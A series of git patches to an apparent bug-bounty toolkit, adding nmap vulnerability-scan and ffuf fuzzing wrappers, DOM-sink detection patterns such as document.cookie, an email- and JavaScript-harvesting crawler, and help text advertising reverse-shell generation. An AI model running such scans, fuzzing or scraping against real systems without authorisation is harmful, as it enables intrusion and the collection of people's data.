".*document.cookie", + ".*localStorage.setItem.name", + ".*localStorage.setItem.value", + ".*sessionStorage.setItem.name", + ".*sessionStorage.setItem.value", ".*outerText", ".*innerText", ".*textContent", ".*style.cssText", - "RegExp" + ".*RegExp" ] url_regex = re.compile("(https|http):\/\/[a-zA-Z0-9#=\-\?\&\/\.]+") From 71d79719ebbe6edeb5f7d32ed0df2a09f86f1ce8 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 3 Nov 2021 15:56:44 +0000 Subject: [PATCH 206/460] [Nodestructor] Adjust some patterns (cont.) --- nodestructor/nodestructor.py | 1 + 1 file changed, 1 insertion(+) diff --git a/nodestructor/nodestructor.py b/nodestructor/nodestructor.py index 646b687..53e3a12 100755 --- a/nodestructor/nodestructor.py +++ b/nodestructor/nodestructor.py @@ -82,6 +82,7 @@ ".*outerHTML", ".*appendChild\(", ".*document.write\(", + ".*document.writeln\(", ".*document.location", ".*document.URL", ".*document.documentURI", From 15878988fa7294f229f22aa6bb9384637b9e26c3 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 4 Nov 2021 12:19:10 +0000 Subject: [PATCH 207/460] [s0mbra] Include custom X-Hackerone header in ffuf requests --- s0mbra.sh | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 85de86f..666c47f 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -379,13 +379,13 @@ fu() { if [[ $3 == "/" ]]; then # if $3 arg passed to fu equals / - add at the end of the path (for dir enumerations where sometimes # dir path has to end with / to be identified - ffuf -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ/ -mc 200,422,500 + ffuf -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ/ -mc 200,422,500 -H "X-Hackerone: bl4de" else # if $3 arg is not /, treat it as file extension to enumerate files: - ffuf -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ.$3 -mc 200,422,500 + ffuf -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ.$3 -mc 200,422,500 -H "X-Hackerone: bl4de" fi else - ffuf -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ -mc 200,422,500 + ffuf -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ -mc 200,422,500 -H "X-Hackerone: bl4de" fi } From ca95950675a5a156d035b152adfe8cf62ba94497 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 9 Nov 2021 20:07:42 +0000 Subject: [PATCH 208/460] [s0mbra] nmap vulnscan mode; UI changes --- s0mbra.sh | 47 +++++++++++++++++++++++++++++++++++++---------- 1 file changed, 37 insertions(+), 10 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 666c47f..5091f75 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -60,34 +60,57 @@ set_ip() { } # runs $2 port(s) against IP; then -sV -sC -A against every open port found +# --script vuln ??? full_nmap_scan() { if [[ -z "$2" ]]; then - echo -e "$BLUE[+] Running full nmap scan against all ports on $1 ...$CLR" + echo -e "$BLUE[+] Running full nmap scan against all ports on $1 ...$CYAN" ports=$(nmap -p- $1 | grep open | cut -d'/' -f 1 | tr '\n' ',') - echo -e "$BLUE[+] running version detection + nse scripts against $ports...$CLR" + echo -e "$BLUE[+] running version detection + nse scripts against $ports...$CYAN" nmap -p"$ports" -sV -sC -A -n "$1" -oN ./"$1".log -oX ./"$1".xml else - echo -e "$BLUE[+] Running full nmap scan against $2 port(s) on $1 ...$CLR" - echo -e "\t\t -> search open ports..." + echo -e "$BLUE[+] Running full nmap scan against $2 port(s) on $1 ..." + echo -e " ...search open ports...$CYAN" ports=$(nmap --top-ports "$2" $1 | grep open | cut -d'/' -f 1 | tr '\n' ',') - echo -e "$BLUE[+] running version detection + nse scripts against $ports...$CLR" + echo -e "$BLUE[+] running version detection + nse scripts against $ports...$CYAN" nmap -p"$ports" -sV -sC -A -n "$1" -oN ./"$1".log -oX ./"$1".xml fi - echo -e "[+] Done!" + echo -e "$BLUE\n[+] Done! $CLR" } +# --script=vulscan/vulscan.nse +# requires: https://github.com/scipag/vulscan +nmap_vuln_scan() { + if [[ -z "$2" ]]; then + echo -e "$BLUE[+] Running full nmap scan with vulnerability scanning against all ports on $1" + echo -e " Will probably take a while, so go grab some coffee or something.... $CYAN" + ports=$(nmap -p- $1 | grep open | cut -d'/' -f 1 | tr '\n' ',') + echo -e "$BLUE[+] running version detection + nse scripts against $ports...$CYAN" + nmap -p"$ports" -sV -sC -A -n --script=vulscan/vulscan.nse "$1" -oN ./"$1".log -oX ./"$1".xml + else + echo -e "$BLUE[+] Running full nmap scan with vulnerability scanning against $2 port(s) on $1 ..." + echo -e " Will probably take a while, so go grab some coffee or something...." + echo -e " ...search open ports... $CYAN" + ports=$(nmap --top-ports "$2" $1 | grep open | cut -d'/' -f 1 | tr '\n' ',') + echo -e "$BLUE[+] running version detection + nse scripts against $ports...$CYAN" + nmap -p"$ports" -sV -sC -A -n --script=vulscan/vulscan.nse "$1" -oN ./"$1".log -oX ./"$1".xml + fi + + echo -e "$BLUE\n[+] Done! $CLR" +} + + # runs --top-ports $2 against IP quick_nmap_scan() { if [[ -z "$2" ]]; then - echo -e "$BLUE[+] Running nmap scan against all ports on $1 ...$CLR" + echo -e "$BLUE[+] Running nmap scan against all ports on $1 ...$CYAN" nmap -p- $1 else - echo -e "$BLUE[+] Running nmap scan against top $2 ports on $1 ...$CLR" + echo -e "$BLUE[+] Running nmap scan against top $2 ports on $1 ...$CYAN" nmap --top-ports $2 $1 fi - echo -e "[+] Done!" + echo -e "$BLUE\n[+] Done! $CLR" } # runs Python 3 built-in HTTP server on [PORT] @@ -476,6 +499,9 @@ case "$cmd" in quick_nmap_scan) quick_nmap_scan "$2" "$3" ;; + nmap_vuln_scan) + nmap_vuln_scan "$2" "$3" + ;; http) http "$2" ;; @@ -551,6 +577,7 @@ case "$cmd" in echo -e "\t$CYAN subdomenum $GRAY[SCOPE_FILE] [OUTPUT_DIR]$CLR\t\t -> full scope subdomain enumeration + HTTP(S) denumerator on all identified domains" echo -e "\t$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" echo -e "\t$CYAN full_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to enumerate ports; -p- if no [PORTS] given; then -sV -sC -A on found open ports" + echo -e "\t$CYAN nmap_vuln_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to enumerate ports; -p- if no [PORTS] given; then -sV -sC -A --script=vulscan/vulscan.nse on found open ports" echo -e "\t$CYAN nfs_enum $GRAY[IP]$CLR\t\t\t\t\t -> enumerates nfs shares on [IP] (2049 port has to be open/listed in rpcinfo)" echo -e "$BLUE:: AMAZON AWS S3 ::$CLR" echo -e "\t$CYAN s3 $GRAY[bucket]$CLR\t\t\t\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" @@ -561,7 +588,7 @@ case "$cmd" in echo -e "\t$CYAN privesc_tools_windows $CLR\t\t\t\t -> runs HTTP server on port 9119 in directory with Windows PrivEsc tools" echo -e "\t$CYAN generate_shells $GRAY[IP] [PORT] $CLR\t\t\t -> generates ready-to-use reverse shells in various languages for given IP:PORT" echo -e "$BLUE:: SMB SUITE ::$CLR" - echo -e "\t$CYAN smb_enum $GRAY[IP] [USER] [PASSWORD]$CLR\t\t\t -> enumerates SMB shares on [IP] as [USER] (eg. null) (445 port has to be open)" + echo -e "\t$CYAN smb_enum $GRAY[IP] [USER] [PASSWORD]$CLR\t\t -> enumerates SMB shares on [IP] as [USER] (eg. null) (445 port has to be open)" echo -e "\t$CYAN smb_get_file $GRAY[IP] [user] [password] [PATH] $CLR\t -> downloads file from SMB share [PATH] on [IP]" echo -e "\t$CYAN smb_mount $GRAY[IP] [SHARE] [USER]$CLR\t\t\t -> mounts SMB share at ./mnt/shares" echo -e "\t$CYAN smb_umount $CLR\t\t\t\t\t -> unmounts SMB share from ./mnt/shares and deletes it" From 01854092a00303097ac7b8529861f4a4c94af7fe Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 10 Nov 2021 18:59:26 +0000 Subject: [PATCH 209/460] [s0mbra] fufu --- s0mbra.sh | 15 ++++++++++++--- 1 file changed, 12 insertions(+), 3 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 5091f75..0798d42 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -53,14 +53,12 @@ __logo=" ,B@B " - # config commands set_ip() { export IP="$1" } # runs $2 port(s) against IP; then -sV -sC -A against every open port found -# --script vuln ??? full_nmap_scan() { if [[ -z "$2" ]]; then echo -e "$BLUE[+] Running full nmap scan against all ports on $1 ...$CYAN" @@ -99,7 +97,6 @@ nmap_vuln_scan() { echo -e "$BLUE\n[+] Done! $CLR" } - # runs --top-ports $2 against IP quick_nmap_scan() { if [[ -z "$2" ]]; then @@ -410,6 +407,14 @@ fu() { else ffuf -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ -mc 200,422,500 -H "X-Hackerone: bl4de" fi + echo -e "$BLUE\n[+] Done! $CLR" +} + +fufu() { + clear + echo -e "$BLUE[+] Enumerate web resources on $1 with starter.txt dictionary; matching HTTP $2...$CLR" + ffuf -c -w /Users/bl4de/hacking/dictionaries/starter.txt -u $1FUZZ -mc $2 -H "X-Hackerone: bl4de" + echo -e "$BLUE\n[+] Done! $CLR" } generate_shells() { @@ -562,6 +567,9 @@ case "$cmd" in fu) fu "$2" "$3" "$4" ;; + fufu) + fufu "$2" "$3" + ;; s3go) s3go "$2" "$3" ;; @@ -607,6 +615,7 @@ case "$cmd" in echo -e "\t$CYAN abe $GRAY[.ab FILE]$CLR\t\t\t\t\t -> extracts Android .ab backup file into .tar (with android-backup-extractor)" echo -e "$BLUE:: WEB ::$CLR" echo -e "\t$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH]$CLR\t\t -> web application enumeration (DICT: starter, lowercase, wordlist)" + echo -e "\t$CYAN fufu $GRAY[URL] [HTTP RESPONSE CODE(S)]$CLR\t\t -> web application enumeration with starter.txt" echo -e "$BLUE:: MISC ::$CLR" echo -e "\t$CYAN php7 $CLR\t\t\t\t\t\t -> switch PHP to version 7.x" echo -e "\t$CYAN php8 $CLR\t\t\t\t\t\t -> switch PHP to version 8.x" From 11f3d3fdb0314e39bc7758f402dd6d9adc0d1a6d Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 12 Nov 2021 22:07:29 +0000 Subject: [PATCH 210/460] [s0mbra] Removed logo --- s0mbra.sh | 31 +------------------------------ 1 file changed, 1 insertion(+), 30 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 0798d42..12e2d25 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -24,35 +24,6 @@ CYAN='\033[36m' CLR='\033[0m' NEWLINE='\n' - -__logo=" - :PB@Bk: - ,jB@@B@B@B@BBL. - 7G@B@B@BMMMMMB@B@B@Nr - :kB@B@@@MMOMOMOMOMMMM@B@B@B1, - :5@B@B@B@BBMMOMOMOMOMOMOMM@@@B@B@BBu. - 70@@@B@B@B@BXBBOMOMOMOMOMOMMBMPB@B@B@B@B@Nr - G@@@BJ iB@B@@ OBMOMOMOMOMOMOM@2 B@B@B. EB@B@S - @@BM@GJBU. iSuB@OMOMOMOMOMOMM@OU1: .kBLM@M@B@ - B@MMB@B 7@BBMMOMOMOMOMOBB@: B@BMM@B - @@@B@B 7@@@MMOMOMOMM@B@: @@B@B@ - @@OLB. BNB@MMOMOMM@BEB rBjM@B - @@ @ M OBOMOMM@q M .@ @@ - @@OvB B:u@MMOMOMMBJiB .BvM@B - @B@B@J 0@B@MMOMOMOMB@B@u q@@@B@ - B@MBB@v G@@BMMMMMMMMMMMBB@5 F@BMM@B - @BBM@BPNi LMEB@OMMMM@B@MMOMM@BZM7 rEqB@MBB@ - B@@@BM B@B@B qBMOMB@B@B@BMOMBL B@B@B @B@B@M - J@@@@PB@B@B@B7G@OMBB. ,@MMM@qLB@B@@@BqB@BBv - iGB@,i0@M@B@MMO@E : M@OMM@@@B@Pii@@N: - . B@M@B@MMM@B@B@B@MMM@@@M@B - @B@B.i@MBB@B@B@@BM@::B@B@ - B@@@ .B@B.:@B@ :B@B @B@O - :0 r@B@ B@@ .@B@: P: - vMB :@B@ :BO7 - ,B@B -" - # config commands set_ip() { export IP="$1" @@ -481,7 +452,7 @@ pwn() { cmd=$1 clear -# echo "$__logo" + case "$cmd" in pwn) pwn "$2" From 3ef9fa34367d1386a70cdb541435010a1ffd748f Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 17 Nov 2021 10:22:20 +0000 Subject: [PATCH 211/460] [Vi.py] Vi - tool to extract useful stuff from the website [initial commit] --- vi.py | 66 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 66 insertions(+) create mode 100644 vi.py diff --git a/vi.py b/vi.py new file mode 100644 index 0000000..e8e9270 --- /dev/null +++ b/vi.py @@ -0,0 +1,66 @@ +from bs4 import BeautifulSoup +import requests +import requests.exceptions +import urllib.parse +from collections import deque +import re + +''' +Vi.py - an automated script to extract all inteersting information from website + +@author: bl4de +''' +user_url = str(input('[+] Enter Target URL To Scan: ')) +urls = deque([user_url]) +MAX_COUNT = 10 + +scraped_urls = set() +emails = set() +javascript_files = set() + +count = 0 +try: + while len(urls): + count += 1 + if count == MAX_COUNT: + break + url = urls.popleft() + scraped_urls.add(url) + + parts = urllib.parse.urlsplit(url) + base_url = '{0.scheme}://{0.netloc}'.format(parts) + + path = url[:url.rfind('/')+1] if '/' in parts.path else url + + print('[%d] Processing %s' % (count, url)) + try: + response = requests.get(url) + except (requests.exceptions.MissingSchema, requests.exceptions.ConnectionError): + continue + + new_emails = set(re.findall( + r"[a-z0-9\.\-+_]+@[a-z0-9\.\-+_]+\.[a-z]+", response.text, re.IGNORECASE)) + emails.update(new_emails) + + new_javascripts = set(re.findall( + r"[a-z0-9\.\-_]+\.js", response.text, re.IGNORECASE + )) + javascript_files.update(new_javascripts) + + soup = BeautifulSoup(response.text, features="lxml") + + for anchor in soup.find_all("a"): + link = anchor.attrs['href'] if 'href' in anchor.attrs else '' + if link.startswith('/'): + link = base_url + link + elif not link.startswith('http'): + link = path + link + if not link in urls and not link in scraped_urls: + urls.append(link) +except KeyboardInterrupt: + print('[-] Closing!') + +for mail in emails: + print(mail) +for js_file in javascript_files: + print(js_file) From 3b992758109fa09cf5ff2e99eff4cc9901645947 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 17 Nov 2021 10:26:04 +0000 Subject: [PATCH 212/460] [Vi.py] Some development plan defined, I guess --- vi.py | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/vi.py b/vi.py index e8e9270..a9fc19f 100644 --- a/vi.py +++ b/vi.py @@ -9,7 +9,19 @@ Vi.py - an automated script to extract all inteersting information from website @author: bl4de + +@TBD: +- refactor scafolding code +- extract JavaScript files -> scan them for stuff + (API endpoints, secrets, hardcoded information etc.) +- parse HTML for stuff +- harvest useful information from any comment found (in HTML and JS alike) +- other? (TBA) + +- add as a submodule (enabled by cmd option) to denumerator.py + and perform full recon of every website found in scope ''' + user_url = str(input('[+] Enter Target URL To Scan: ')) urls = deque([user_url]) MAX_COUNT = 10 From bf0183de511a7c3962be94eeaa0450e9bb671a96 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 18 Nov 2021 10:01:18 +0000 Subject: [PATCH 213/460] [Vi.py] refactoring (in progress) --- vi.py | 36 +++++++++++++++++++++++++++--------- 1 file changed, 27 insertions(+), 9 deletions(-) diff --git a/vi.py b/vi.py index a9fc19f..14440a3 100644 --- a/vi.py +++ b/vi.py @@ -11,7 +11,9 @@ @author: bl4de @TBD: -- refactor scafolding code +- refactor scafolding code [In progress] +- add argparser + - extract JavaScript files -> scan them for stuff (API endpoints, secrets, hardcoded information etc.) - parse HTML for stuff @@ -22,6 +24,28 @@ and perform full recon of every website found in scope ''' + +def extract_emails(emails: set, http_response: requests.Response) -> set: + ''' + Extracts emails from provided HTTP response body and append them + to already found set of emails + ''' + emails.update(set(re.findall( + r"[a-z0-9\.\-+_]+@[a-z0-9\.\-+_]+\.[a-z]+", http_response.text, re.IGNORECASE))) + return emails + + +def extract_javascript_files(javascript_files: set, http_response: requests.Response) -> set: + ''' + Extracts JavaScript files urls from provided HTTP response body and append them + to already found set of javascript_files + ''' + javascript_files.update(set(re.findall( + r"[a-z0-9\.\-_]+\.js", response.text, re.IGNORECASE + ))) + return javascript_files + + user_url = str(input('[+] Enter Target URL To Scan: ')) urls = deque([user_url]) MAX_COUNT = 10 @@ -50,14 +74,8 @@ except (requests.exceptions.MissingSchema, requests.exceptions.ConnectionError): continue - new_emails = set(re.findall( - r"[a-z0-9\.\-+_]+@[a-z0-9\.\-+_]+\.[a-z]+", response.text, re.IGNORECASE)) - emails.update(new_emails) - - new_javascripts = set(re.findall( - r"[a-z0-9\.\-_]+\.js", response.text, re.IGNORECASE - )) - javascript_files.update(new_javascripts) + emails = extract_emails(emails, response) + javascript_files = extract_javascript_files(javascript_files, response) soup = BeautifulSoup(response.text, features="lxml") From a408573722f6b1aec04ed5f06334e6f5dd71b6e6 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 18 Nov 2021 10:03:02 +0000 Subject: [PATCH 214/460] [Vi.py] refactor main() --- vi.py | 94 ++++++++++++++++++++++++++++++++--------------------------- 1 file changed, 51 insertions(+), 43 deletions(-) diff --git a/vi.py b/vi.py index 14440a3..386c8cd 100644 --- a/vi.py +++ b/vi.py @@ -46,51 +46,59 @@ def extract_javascript_files(javascript_files: set, http_response: requests.Resp return javascript_files -user_url = str(input('[+] Enter Target URL To Scan: ')) -urls = deque([user_url]) -MAX_COUNT = 10 +if __name__ == "__main__": + def main(): -scraped_urls = set() -emails = set() -javascript_files = set() + user_url = str(input('[+] Enter Target URL To Scan: ')) + urls = deque([user_url]) + MAX_COUNT = 10 -count = 0 -try: - while len(urls): - count += 1 - if count == MAX_COUNT: - break - url = urls.popleft() - scraped_urls.add(url) + scraped_urls = set() + emails = set() + javascript_files = set() - parts = urllib.parse.urlsplit(url) - base_url = '{0.scheme}://{0.netloc}'.format(parts) + count = 0 - path = url[:url.rfind('/')+1] if '/' in parts.path else url - - print('[%d] Processing %s' % (count, url)) try: - response = requests.get(url) - except (requests.exceptions.MissingSchema, requests.exceptions.ConnectionError): - continue - - emails = extract_emails(emails, response) - javascript_files = extract_javascript_files(javascript_files, response) - - soup = BeautifulSoup(response.text, features="lxml") - - for anchor in soup.find_all("a"): - link = anchor.attrs['href'] if 'href' in anchor.attrs else '' - if link.startswith('/'): - link = base_url + link - elif not link.startswith('http'): - link = path + link - if not link in urls and not link in scraped_urls: - urls.append(link) -except KeyboardInterrupt: - print('[-] Closing!') - -for mail in emails: - print(mail) -for js_file in javascript_files: - print(js_file) + ''' + main execution loop + ''' + while len(urls): + count += 1 + if count == MAX_COUNT: + break + url = urls.popleft() + scraped_urls.add(url) + + parts = urllib.parse.urlsplit(url) + base_url = '{0.scheme}://{0.netloc}'.format(parts) + + path = url[:url.rfind('/')+1] if '/' in parts.path else url + + print('[%d] Processing %s' % (count, url)) + try: + response = requests.get(url) + except (requests.exceptions.MissingSchema, requests.exceptions.ConnectionError): + continue + + emails = extract_emails(emails, response) + javascript_files = extract_javascript_files( + javascript_files, response) + + soup = BeautifulSoup(response.text, features="lxml") + + for anchor in soup.find_all("a"): + link = anchor.attrs['href'] if 'href' in anchor.attrs else '' + if link.startswith('/'): + link = base_url + link + elif not link.startswith('http'): + link = path + link + if not link in urls and not link in scraped_urls: + urls.append(link) + except KeyboardInterrupt: + print('[-] Closing!') + + for mail in emails: + print(mail) + for js_file in javascript_files: + print(js_file) From bb2c19f563e0c02305abc7dcaa7a6687b6154520 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 18 Nov 2021 10:06:01 +0000 Subject: [PATCH 215/460] [Vi.py] refactoring - Move main routine to proceed() --- vi.py | 115 ++++++++++++++++++++++++++++++---------------------------- 1 file changed, 59 insertions(+), 56 deletions(-) diff --git a/vi.py b/vi.py index 386c8cd..c1b6c4f 100644 --- a/vi.py +++ b/vi.py @@ -41,64 +41,67 @@ def extract_javascript_files(javascript_files: set, http_response: requests.Resp to already found set of javascript_files ''' javascript_files.update(set(re.findall( - r"[a-z0-9\.\-_]+\.js", response.text, re.IGNORECASE + r"[a-z0-9\.\-_]+\.js", http_response.text, re.IGNORECASE ))) return javascript_files +def proceed(): + + user_url = str(input('[+] Enter Target URL To Scan: ')) + urls = deque([user_url]) + MAX_COUNT = 5 + + scraped_urls = set() + emails = set() + javascript_files = set() + + count = 0 + + try: + ''' + main execution loop + ''' + while len(urls): + count += 1 + if count == MAX_COUNT: + break + url = urls.popleft() + scraped_urls.add(url) + + parts = urllib.parse.urlsplit(url) + base_url = '{0.scheme}://{0.netloc}'.format(parts) + + path = url[:url.rfind('/')+1] if '/' in parts.path else url + + print('[%d] Processing %s' % (count, url)) + try: + response = requests.get(url) + except (requests.exceptions.MissingSchema, requests.exceptions.ConnectionError): + continue + + emails = extract_emails(emails, response) + javascript_files = extract_javascript_files( + javascript_files, response) + + soup = BeautifulSoup(response.text, features="lxml") + + for anchor in soup.find_all("a"): + link = anchor.attrs['href'] if 'href' in anchor.attrs else '' + if link.startswith('/'): + link = base_url + link + elif not link.startswith('http'): + link = path + link + if not link in urls and not link in scraped_urls: + urls.append(link) + except KeyboardInterrupt: + print('[-] Closing!') + + for mail in emails: + print(mail) + for js_file in javascript_files: + print(js_file) + + if __name__ == "__main__": - def main(): - - user_url = str(input('[+] Enter Target URL To Scan: ')) - urls = deque([user_url]) - MAX_COUNT = 10 - - scraped_urls = set() - emails = set() - javascript_files = set() - - count = 0 - - try: - ''' - main execution loop - ''' - while len(urls): - count += 1 - if count == MAX_COUNT: - break - url = urls.popleft() - scraped_urls.add(url) - - parts = urllib.parse.urlsplit(url) - base_url = '{0.scheme}://{0.netloc}'.format(parts) - - path = url[:url.rfind('/')+1] if '/' in parts.path else url - - print('[%d] Processing %s' % (count, url)) - try: - response = requests.get(url) - except (requests.exceptions.MissingSchema, requests.exceptions.ConnectionError): - continue - - emails = extract_emails(emails, response) - javascript_files = extract_javascript_files( - javascript_files, response) - - soup = BeautifulSoup(response.text, features="lxml") - - for anchor in soup.find_all("a"): - link = anchor.attrs['href'] if 'href' in anchor.attrs else '' - if link.startswith('/'): - link = base_url + link - elif not link.startswith('http'): - link = path + link - if not link in urls and not link in scraped_urls: - urls.append(link) - except KeyboardInterrupt: - print('[-] Closing!') - - for mail in emails: - print(mail) - for js_file in javascript_files: - print(js_file) + proceed() From ab4c94f8146fd8e60473b0ba21f505c07b8004f5 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 22 Nov 2021 19:38:49 +0000 Subject: [PATCH 216/460] [vi.py] Refactoring - split script into steps which will be performed against given url --- s0mbra.sh | 4 ---- vi.py | 38 +++++++++++++++++++++++++++++++++----- 2 files changed, 33 insertions(+), 9 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 12e2d25..8eb4a0b 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -1,10 +1,6 @@ #!/bin/bash # shellcheck disable=SC1087,SC2181,SC2162,SC2013 -### ### ### S0mbra ### -### ### - - # BugBounty/CTF/PenTest/Hacking suite # collection of various wrappers, multi-commands, tips&tricks, shortcuts etc. # CTX: bl4de@wearehackerone.com diff --git a/vi.py b/vi.py index c1b6c4f..e856127 100644 --- a/vi.py +++ b/vi.py @@ -46,15 +46,35 @@ def extract_javascript_files(javascript_files: set, http_response: requests.Resp return javascript_files -def proceed(): +def parse_javascript_file(js_filename: str): + ''' + Parse JavaScript file for interesting stuff + ''' + TYPE = 'DEBUG' + print(f"[{TYPE}] parsing {js_filename} for interesting stuff...") + pass + +def extract(): + ''' + Performs data extraction stage + ''' + for js_filename in javascript_files: + parse_javascript_file(js_filename) + + pass + + +def recon(emails: set, javascript_files: set): + ''' + Creates list of resources; some will be proceeded later in next + steps + ''' user_url = str(input('[+] Enter Target URL To Scan: ')) urls = deque([user_url]) - MAX_COUNT = 5 + MAX_COUNT = 2 scraped_urls = set() - emails = set() - javascript_files = set() count = 0 @@ -104,4 +124,12 @@ def proceed(): if __name__ == "__main__": - proceed() + + emails = set() + javascript_files = set() + + # go through provided url; find emails, javascript files etc. + recon(emails, javascript_files) + + # extract sensitive and interesting information from what was found + extract() From 83538e2dbca570c0aafa213bec8b30c4d326bc59 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 22 Nov 2021 19:55:53 +0000 Subject: [PATCH 217/460] [vi.py] rename extract() to tear_off()... :P --- vi.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/vi.py b/vi.py index e856127..096e41f 100644 --- a/vi.py +++ b/vi.py @@ -55,7 +55,7 @@ def parse_javascript_file(js_filename: str): pass -def extract(): +def tear_off(): ''' Performs data extraction stage ''' @@ -132,4 +132,4 @@ def recon(emails: set, javascript_files: set): recon(emails, javascript_files) # extract sensitive and interesting information from what was found - extract() + tear_off() From cc42fa9898d90dd4e20ad39f84a64c14944f2ee9 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 30 Nov 2021 00:00:18 +0000 Subject: [PATCH 218/460] [denumerator] Batch Show/Hide by repsonse type (2xx/3xx/4xx/5xx) --- denumerator/denumerator.py | 43 +++++++++++++++++++++++++++++++++----- s0mbra.sh | 2 +- 2 files changed, 39 insertions(+), 6 deletions(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index ff05484..d907ead 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -140,6 +140,14 @@ def create_output_header(html_output): background-color: #f9f9db; } + TR.visible { + display: block; + } + + TR.hidden { + display: none; + } + A.toggle { margin-left:30px; font-size: 18px; @@ -193,15 +201,39 @@ def create_output_header(html_output): }); } } + + + function showOnly(className, evtTarget = null) { + const elements = document.getElementsByClassName(className); + if (elements.length > 0) { + [].forEach.call(elements, element => { + if (element.classList.contains('hidden')) { + element.classList.remove('hidden'); + element.classList.add('visible'); + if (evtTarget) { + evtTarget.classList.remove('off'); + evtTarget.classList.add('on'); + } + } else { + element.classList.remove('visible'); + element.classList.add('hidden'); + if (evtTarget) { + evtTarget.classList.remove('on'); + evtTarget.classList.add('off'); + } + } + }); + } + } @@ -269,7 +301,7 @@ def append_to_output(html_output, url, http_status_code, response_headers, nmap_ element_class_name_iterator += 1 html = """ - +

HTTP Response Status: {} @@ -296,6 +328,7 @@ def append_to_output(html_output, url, http_status_code, response_headers, nmap_ """.format( + (http_status_code//100), http_status_code_color, element_class_name, http_status_code, diff --git a/s0mbra.sh b/s0mbra.sh index 8eb4a0b..371e011 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -578,7 +578,7 @@ case "$cmd" in echo -e "$BLUE:: ANDROID ::$CLR" echo -e "\t$CYAN jadx $GRAY[.apk FILE]\t\t$YELLOW(Java)$CLR\t\t -> open FILE.apk file in JADX GUI" echo -e "\t$CYAN dex_to_jar $GRAY[.dex file]$CLR\t\t\t\t -> exports .dex file into .jar" - echo -e "\t$CYAN apk $GRAY[.apk FILE]$CLR\t\t\t\t\t -> extracts APK file and run apktool on it" + echo -e "\t$CYAN apk $GRAY[.apk FILE]$CLR\t\t\t\t -> extracts APK file and run apktool on it" echo -e "\t$CYAN abe $GRAY[.ab FILE]$CLR\t\t\t\t\t -> extracts Android .ab backup file into .tar (with android-backup-extractor)" echo -e "$BLUE:: WEB ::$CLR" echo -e "\t$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH]$CLR\t\t -> web application enumeration (DICT: starter, lowercase, wordlist)" From 0a8f49476917030670c6161d6e75be724ff596b3 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 1 Dec 2021 21:37:27 +0000 Subject: [PATCH 219/460] [s0mbra] Added httpx wrapper to RECON tools --- denumerator/denumerator.py | 2 +- enumeratescope.sh | 3 ++- s0mbra.sh | 12 +++++++++++- 3 files changed, 14 insertions(+), 3 deletions(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index d907ead..70ad1e6 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -487,7 +487,7 @@ def main(): "-c", "--code", help="Show only selected HTTP response status codes, comma separated", default='200,206,301,302,403,422,500' ) parser.add_argument( - "-n", "--nmap", help="use nmap for port scanning (slows down the whole eenumeration A LOT, so be warned!)", default=100 + "-n", "--nmap", help="use nmap for port scanning (slows down the whole enumeration A LOT, so be warned!)", default=100 ) parser.add_argument( "-p", "--ports", help="--top-ports option for nmap (default = 100)", default=100 diff --git a/enumeratescope.sh b/enumeratescope.sh index 864cc66..0e49ed9 100755 --- a/enumeratescope.sh +++ b/enumeratescope.sh @@ -52,7 +52,8 @@ create_list_of_domains() { run_denumerator() { echo $1 echo -e "$(date) denumerator started" >> subdomain_enum.log - denumerator -f domains/final -c 200,403,500,301,302,304,404,206,405,411,415,422 --dir $1 --output __$1.log + # denumerator -f domains/final -c 200,403,500,301,302,304,404,206,405,411,415,422 --dir $1 --output __$1.log + denumerator -f domains/final -c 200,403,500,206,405,411,415,422 --dir $1 --output __$1.log echo -e "$(date) denumerator finished" >> subdomain_enum.log echo -e "$(date) total webservers enumerated and saved to report: $(ls -l reports/$1 | wc -l)" >> subdomain_enum.log } 